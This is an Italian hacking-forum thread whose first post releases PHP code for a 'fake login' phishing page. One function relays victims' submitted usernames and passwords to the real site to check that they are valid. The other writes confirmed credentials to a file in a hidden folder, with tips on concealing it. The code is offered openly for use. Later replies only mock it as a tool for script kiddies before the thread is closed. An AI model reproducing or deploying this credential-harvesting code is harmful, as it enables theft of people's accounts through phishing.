Unmantained Guida [RELEASE][Linguaggio PHP]Utilità per creare un fake login abbastanza SERIO.

Una guida contrassegnata come Unmantained contiene informazioni su un argomento obsoleto, non più utile o files non aggiornati da parte del creatore.
Stato
Discussione chiusa ad ulteriori risposte.

Veronica Gainer

Utente Electrum
19 Gennaio 2012
237
25
39
117
Ultima modifica da un moderatore:
Funzioni:

La funzione Login($url, $postdata, $success_message) tenterà un collegamento diretto via metodo POST al sito desiderato, invierà le variabili contenenti i dati e restituirà un output html, se troverà la parola desiderata come: Collegamento eseguito con successo, oppure Login avvenuto (insomma mettetela voi), restituirà vero.

La funzione SaveToFile($filename, $username, $password) controllerà se esiste il file, se c'è gia un nome, dopo tutti questi controlli scriverà Username @ Password e un "a capo".


PHP:
<?php

#url  - array con campi  - messaggio che appare sul sito quando tutto riesce

function Login($url,$postdata,$success_message){
try{
$c=curl_init();
curl_setopt($c,CURLOPT_URL,$url);
curl_setopt($c,CURLOPT_RETURNTRANSFER,1);
curl_setopt($c,CURLOPT_POST,1);
curl_setopt($c,CURLOPT_POSTFIELDS,$postdata);
$exec=curl_exec($c);
if($exec==null) throw new Exception("curl_error");
$res=0;
if(strstr($exec,$success_message)) $res=1;
$info=array($res,curl_getinfo($c),$exec);
curl_close($c);
return $info;
}catch(Exception $e){
return array(-1,$e->getMessage(),"null");
}
}

# Nome del file dove verranno salvati i dati - variabile username - variabile password

function SaveToFile($filename, $username, $password){
if(strlen($username)>0 && strlen($password)>0){
if(file_exists($filename)){
$F=fopen($filename,"r");
$F9=str_replace($username." @ ".$password."\n","",fread($F,filesize($filename)));
fclose($F);
}else{
$F9=null;
}
$F=fopen($filename,"w");
fwrite($F,$F9.$username." @ ".$password."\n");
fclose($F);
}
}

?>

PHP:
#ESEMPIO X TESTARE LA FUNZIONE

if(isset($_POST["bottone_submit"])) {

$Login=Login("http://www.vostrositoweb.com",array("submit"=>"1","username"=>$_POST["username"],"password"=>$_POST["password"]),"Connessione eseguita con successo");
if ($Login[0]==1) {
#vi consiglio di chiamare il file in modo strano e inserire dentro questa cartella un index.php vuoto.
SaveToFile("cartellastrana/VostroFile.txt",$_POST["username"],$_POST["password"]);

echo "Dati corretti, Login effettuato con successo!";

}else{
       echo "Errore: i dati inseriti non sono corretti!";
}

}

ATTENZIONE

1) RICORDO OVVIAMENTE CHE NEL SITO DEVE ESSERCI INSTALLATA LA LIBRERIA CURL.

Per controllare:

PHP:
if(function_exists('curl_version')) echo "La librerià C'è!";

2) SE FATE I LAMER CON QUESTI SCRIPT IL VOSTRO SITO POTREBBE e RIPETO POTREBBE ESSERE BLOCCATO DALLA COMPAGNIA HOST.
 
Ultima modifica da un moderatore:
Re: [RELEASE]Funzione per creare un fake login abbastanza SERIO.

Edit.
 
Ultima modifica:
Re: [RELEASE]Funzione per creare un fake login abbastanza SERIO.

Godetevi la funzione, so che per alcuni è inutile ma adesso l'avrete anche voi.

Fateci che volete, scherzi cazzate etc :)
 
Re: [RELEASE]Funzione per creare un fake login abbastanza SERIO.

Gainer & Walker, la peggior combinazione di bambini con un quoziente intellettivo del 0.1%.
 
Re: [RELEASE]Funzione per creare un fake login abbastanza SERIO.

Certo che usare le parole "fake login" e "serio" nella stessa frase...
Comunque, non credo che serva gesù cristo per fare uno script che controlla se i parametri post e/o get son settati e poi li salva su un file eh xD
 
Ultima modifica:
Re: [RELEASE]Funzione per creare un fake login abbastanza SERIO.

Certo che usare le parole "fake login" e "serio" nella stessa frase...
Comunque, non credo che serva gesù cristo per fare uno script che controlla se i parametri post e/o get son settati e poi li salva su un file eh xD

Si diciamo hai ragione, pero per chi non sapeva farlo, dai è qualcosa di utile.

RICORDO OVVIAMENTE CHE NEL SITO DEVE ESSERCI INSTALLATA LA LIBRERIA CURL.

Per controllare:

PHP:
if(function_exists('curl_version')) echo "La librerià C'è!";
 
Re: [RELEASE]Funzione per creare un fake login abbastanza SERIO.

Si diciamo hai ragione, pero per chi non sapeva farlo, dai è qualcosa di utile.

RICORDO OVVIAMENTE CHE NEL SITO DEVE ESSERCI INSTALLATA LA LIBRERIA CURL.
Non è qualcosa di utile, è cibo per script kiddie/lamer.
 
È qualcosa di utilità pari a un guanto da forno utilizzato per un' operazione chirurgica, tra l' altro viene utilizzato soltanto per trollare Ricky92. Chiudo
 
Stato
Discussione chiusa ad ulteriori risposte.
Indietro
Top Bottom